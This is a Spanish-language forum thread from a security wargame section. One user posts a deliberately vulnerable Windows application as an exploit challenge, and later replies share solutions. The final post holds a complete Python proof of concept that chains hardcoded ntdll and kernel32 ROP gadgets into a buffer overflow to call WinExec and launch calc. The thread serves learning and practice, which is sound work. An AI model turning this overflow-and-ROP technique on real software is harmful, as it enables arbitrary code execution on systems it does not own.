Underc0de

[In]Seguridad Informática => Wargames y retos => Mensaje iniciado por: Muppet en Octubre 11, 2012, 05:49:45 PM

Título: Reto Genera Tu Exploit!
Publicado por: Muppet en Octubre 11, 2012, 05:49:45 PM
Bueno Me hice un tiempo lejos de la Facultad y se me dio por Programar este Pequeño Reto.
Se Trata de Generar un Exploit Propio para mi Aplicaccion.

Que es un Exploit?

Exploit (del inglés to exploit, explotar o aprovechar) es crear una pieza de software, o una secuencia de comandos con el fin de causar un error o un fallo en alguna aplicación, a fin de causar un comportamiento no deseado o imprevisto en este y lograr ejecutar codigo Arbitrario. Lo Cual el Programa Original no Estaba Destinado a Lograr.

Aca el Link de la Aplicacion: (Actualizado)

https://mega.co.nz/#!GMcSzC6R!WgklolMkOAOOQav8oak1UlbOBWwUa8tDuObmQo_mXes

Un Pantallazo para que vean q es vulnerable:

(http://i46.tinypic.com/2pyrhjm.png)

Reglas:
1- Postear un Pantallazo de una Aplicacion q se ejecuta con el Exploit Tapando el Codigo Mostrado en Consola.
2- Mandarme por MP el Script con el q desarrollaron el Exploit para corroborar q realmente explotaron el fallo y no se bajaron algun code de Internet.
3- No den Pistas, y por favor no Publiquen la Solucion hasta q de por Concluido el Reto.


Se tomara en Cuenta a los 5 Primeros q Resuelvan el Reto:


1°  Snakingmax
2°  Erroneo0 Excelente aplicación de Ret2Libc en win!



Título: Re:Reto Genera Tu Exploit!
Publicado por: snakingmax en Noviembre 24, 2012, 02:03:27 PM
Ya que nadie lo resuelve os envío mi solución rápida y chapucera hardcodeando direcciones  ;D

(http://img837.imageshack.us/img837/7748/retounderc0de.png)

La shellcode del exploit lanza el cmd.exe de windows tal y como se puede ver en la imagen.

Modifico el post para dar la solución ejecutando calc.exe:

(http://img850.imageshack.us/img850/9079/lanzandocalc.png)
Título: Re:Reto Genera Tu Exploit!
Publicado por: pekeinfo en Septiembre 02, 2013, 02:01:42 PM
llegue tarde :( podría alguien resubirlo aun que sea como entretenimiento. thx
Título: Re:Reto Genera Tu Exploit!
Publicado por: ANTRAX en Septiembre 02, 2013, 04:55:21 PM
Ya le avise a HD_Breaker para que lo resuba. Se va a fijar si lo tiene en su pc y sino lo volvera a crear! Asique cuenten con el reto!

Saludos!
ANTRAX
Título: Re:Reto Genera Tu Exploit!
Publicado por: pekeinfo en Septiembre 02, 2013, 08:56:10 PM
thx aunque ahora es un poco tarde para ponerme mañana lo miro :)
Título: Re:Reto Genera Tu Exploit!
Publicado por: pekeinfo en Septiembre 05, 2013, 05:25:48 PM
no me entra el rop :(, y me toca hacerlo a mano por lo que tardare un poco mas :/. y hay pocas dll por lo que la búsqueda se me complica  un poquito XD. eso sumado a que el stack es poco pequeño ...
Título: Re:Reto Genera Tu Exploit!
Publicado por: .:UND3R:. en Marzo 22, 2018, 03:21:11 AM
Han pasado 6 años y tan solo dos participantes han entregado una solución, por lo cual he decidido publicar la mía por si alguien le puede mejorar y así aprendemos todos. El tamaño del payload es de 80 bytes existiendo un límite de 175 caracteres permitidos para poder realizar un BoF normal en vez de un BoF SEH (el cual en mi sistema no pude encontrar ROP Gadgets que permitieran saltar de SEH a nSEH con DEP activado).

Imágenes
(https://pwnedchile.com/wp-content/uploads/2018/03/Captura-de-pantalla-2018-03-22-a-las-02.39.10.png)
Ejecución de la calculadora

(https://pwnedchile.com/wp-content/uploads/2018/03/Captura-de-pantalla-2018-03-22-a-las-02.40.26.png)
Ejecución de CMD

PoC programado en Python
Código (python) [Seleccionar]
# Operating system = Microsoft Windows XP Profesional Version 2002 Service Pack 3
# Language         = Spanish
# Author           = UND3R
# Size             = 80 bytes
# WinExec(calc, -1)

import struct
from struct import pack

junk = 'A' * 44
eip = pack("<I",0x7c91120f) # ntdll.dll | RETN
rop1 = pack("<I",0x7c912486) # ntdll.dll | POP EDI / RETN
rop2 = pack("<I",0x7c91120f) # ntdll.dll | RETN
rop3 = pack("<I",0x7c911d52) # ntdll.dll | POP ESI / RETN
rop4 = pack("<I",0x7c8623ad) # kernel32.dll | WinExec
rop5 = pack("<I",0x7c80dfdd) # kernel32.dll | POP EBX / RETN
rop6 = pack("<I",0xffffffff)
rop7 = pack("<I",0x7c95d22b) # ntdll.dll | PUSHAD / RETN
rop8 = 'calc'

payload = junk + eip + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8

f = open('config.txt', 'w')
f.write(payload)
f.close()


Espero que les haya gustado mi ROP Gadgets, saludos

.:UND3R:.